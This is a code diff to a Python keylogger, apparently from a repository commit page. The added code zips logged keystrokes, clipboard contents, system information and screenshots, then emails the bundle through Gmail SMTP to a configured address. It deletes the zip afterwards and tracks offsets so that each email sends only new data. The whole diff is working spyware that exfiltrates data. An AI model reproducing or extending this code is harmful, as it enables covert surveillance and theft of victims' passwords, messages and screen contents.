11# Import necessary libraries
22import logging
33import os
4+ import time
45import platform
6+ import json
7+ import zipfile
58import smtplib
69import socket
710import threading
3538clipboard_information = "data/clipboard.txt"
3639SCREENSHOT_DIR = "data/screenshots"
3740
41+ DATA_DIR = "data"
42+ SCREENSHOTS_DIR = os .path .join (DATA_DIR , "screenshots" )
43+ STATE_FILE = os .path .join (DATA_DIR , "last_email_state.json" )
44+ KEYLOG_EXTRA_BYTES = 2048
45+
3846# Retrieve email and password from environment variables
3947email_address = os .getenv ('email' )
4048password = os .getenv ('pass' )
@@ -53,29 +61,156 @@ def on_closing():
5361 root .destroy ()
5462
5563
56- # Function to send email with attachment
64+ def load_state ():
65+ default = {
66+ "last_email_time" : 0.0 ,
67+ "offsets" : {"key_log" : 0 , "clipboard" : 0 , "systeminfo" : 0 },
68+ "sent_screenshots" : []
69+ }
70+ if not os .path .exists (STATE_FILE ):
71+ os .makedirs (DATA_DIR , exist_ok = True )
72+ with open (STATE_FILE , "w" ) as f :
73+ json .dump (default , f )
74+ return default
75+ try :
76+ with open (STATE_FILE , "r" ) as f :
77+ return json .load (f )
78+ except :
79+ return default
80+
81+ def save_state (state ):
82+ with open (STATE_FILE , "w" ) as f :
83+ json .dump (state , f )
84+
85+ def read_from_offset (path , offset , extra_bytes = 0 ):
86+ if not os .path .exists (path ):
87+ return "" , 0
88+ file_size = os .path .getsize (path )
89+ start = max (0 , offset - extra_bytes )
90+ with open (path , "rb" ) as f :
91+ f .seek (start )
92+ data_bytes = f .read ()
93+ data = data_bytes .decode ("utf-8" , errors = "replace" )
94+ return data , file_size
95+
96+ def gather_screenshots (last_email_time , sent_list ):
97+ if not os .path .exists (SCREENSHOTS_DIR ):
98+ return []
99+ files = []
100+ for fname in sorted (os .listdir (SCREENSHOTS_DIR )):
101+ fpath = os .path .join (SCREENSHOTS_DIR , fname )
102+ if not os .path .isfile (fpath ):
103+ continue
104+ try :
105+ mtime = os .path .getmtime (fpath )
106+ except :
107+ continue
108+ if mtime > last_email_time and fname not in sent_list :
109+ files .append ((fname , fpath , mtime ))
110+ files .sort (key = lambda x : x [2 ])
111+ return files
112+
113+ def make_zip (state ):
114+ os .makedirs (DATA_DIR , exist_ok = True )
115+ timestamp = datetime .utcnow ().strftime ("%Y%m%dT%H%M%SZ" )
116+ zip_name = f"bundle_{ timestamp } .zip"
117+ zip_path = os .path .join (DATA_DIR , zip_name )
118+
119+ new_state_updates = {"offsets" : {}, "sent_screenshots" : []}
120+
121+ with zipfile .ZipFile (zip_path , "w" , compression = zipfile .ZIP_DEFLATED ) as z :
122+ # Key log
123+ key_log_path = os .path .join (DATA_DIR , "key_log.txt" )
124+ key_data , new_offset = read_from_offset (key_log_path , state ["offsets" ].get ("key_log" , 0 ), KEYLOG_EXTRA_BYTES )
125+ if key_data :
126+ z .writestr ("key_log_recent.txt" , key_data )
127+ new_state_updates ["offsets" ]["key_log" ] = new_offset
128+
129+ # Clipboard recent data
130+ clipboard_path = os .path .join (DATA_DIR , "clipboard.txt" )
131+ clip_data , new_clip_offset = read_from_offset (clipboard_path , state ["offsets" ].get ("clipboard" , 0 ))
132+ if clip_data :
133+ z .writestr ("clipboard_recent.txt" , clip_data )
134+ new_state_updates ["offsets" ]["clipboard" ] = new_clip_offset
135+
136+ # Clipboard full file (optional)
137+ if os .path .exists (clipboard_path ):
138+ z .write (clipboard_path , arcname = "clipboard_full.txt" )
139+
140+
141+
142+ # System info
143+ sysinfo_path = os .path .join (DATA_DIR , "systeminfo.txt" )
144+ sys_data , new_sys_offset = read_from_offset (sysinfo_path , state ["offsets" ].get ("systeminfo" , 0 ))
145+ if sys_data :
146+ z .writestr ("systeminfo_recent.txt" , sys_data )
147+ new_state_updates ["offsets" ]["systeminfo" ] = new_sys_offset
148+
149+ # Screenshots
150+ last_email_time = state .get ("last_email_time" , 0.0 )
151+ screenshots = gather_screenshots (last_email_time , state .get ("sent_screenshots" , []))
152+ for fname , fpath , mtime in screenshots :
153+ arcname = os .path .join ("screenshots" , fname )
154+ try :
155+ z .write (fpath , arcname = arcname )
156+ new_state_updates ["sent_screenshots" ].append (fname )
157+ except :
158+ continue
159+
160+ return zip_path , new_state_updates
161+
57162def send_email (filename , attachment , toaddr ):
163+ """
164+ Modified to send bundled zip with all recent logs and screenshots.
165+ filename: will be replaced by generated zip filename
166+ attachment: ignored, auto-handled
167+ """
168+ # Load last state
169+ state = load_state ()
170+
171+ # Create zip with recent logs/screenshots
172+ zip_path , updates = make_zip (state )
173+ filename = os .path .basename (zip_path )
174+
175+ # Compose email
58176 fromaddr = email_address
59177 msg = MIMEMultipart ()
60178 msg ['From' ] = fromaddr
61179 msg ['To' ] = toaddr
62- msg ['Subject' ] = "Log File "
63- body = "LOG file "
180+ msg ['Subject' ] = "Keylogger Logs Bundle "
181+ body = "Attached is the recent keylogger data bundle. "
64182 msg .attach (MIMEText (body , 'plain' ))
65- filename = filename
66- attachment = open (attachment , 'rb' )
67- p = MIMEBase ('application' , 'octet-stream' )
68- p .set_payload (attachment .read ())
183+
184+ with open (zip_path , 'rb' ) as attachment_file :
185+ p = MIMEBase ('application' , 'octet-stream' )
186+ p .set_payload (attachment_file .read ())
69187 encoders .encode_base64 (p )
70- p .add_header ('Content-Disposition' , "attachment; filename= %s" % filename )
188+ p .add_header ('Content-Disposition' , f "attachment; filename={ filename } " )
71189 msg .attach (p )
190+
191+ # Send email
72192 s = smtplib .SMTP ('smtp.gmail.com' , 587 )
73193 s .starttls ()
74194 s .login (fromaddr , password )
75- text = msg .as_string ()
76- s .sendmail (fromaddr , toaddr , text )
195+ s .sendmail (fromaddr , toaddr , msg .as_string ())
77196 s .quit ()
78197
198+ # Delete zip after sending
199+ try :
200+ os .remove (zip_path )
201+ except :
202+ pass
203+
204+ # Update state
205+ new_state = state .copy ()
206+ new_state ["last_email_time" ] = time .time ()
207+ offsets = new_state .get ("offsets" , {})
208+ offsets .update (updates .get ("offsets" , {}))
209+ new_state ["offsets" ] = offsets
210+ sent = set (new_state .get ("sent_screenshots" , []))
211+ sent .update (updates .get ("sent_screenshots" , []))
212+ new_state ["sent_screenshots" ] = list (sent )
213+ save_state (new_state )
79214
80215# Function to gather system information
81216def computer_information ():
@@ -183,7 +318,7 @@ def start_logger():
183318 print (count )
184319 if stopFlag :
185320 break
186- if count % 30 == 0 :
321+ if count % 30 == 0 :
187322 copy_clipboard ()
188323 if count == 0 :
189324 screenshot ()
0 commit comments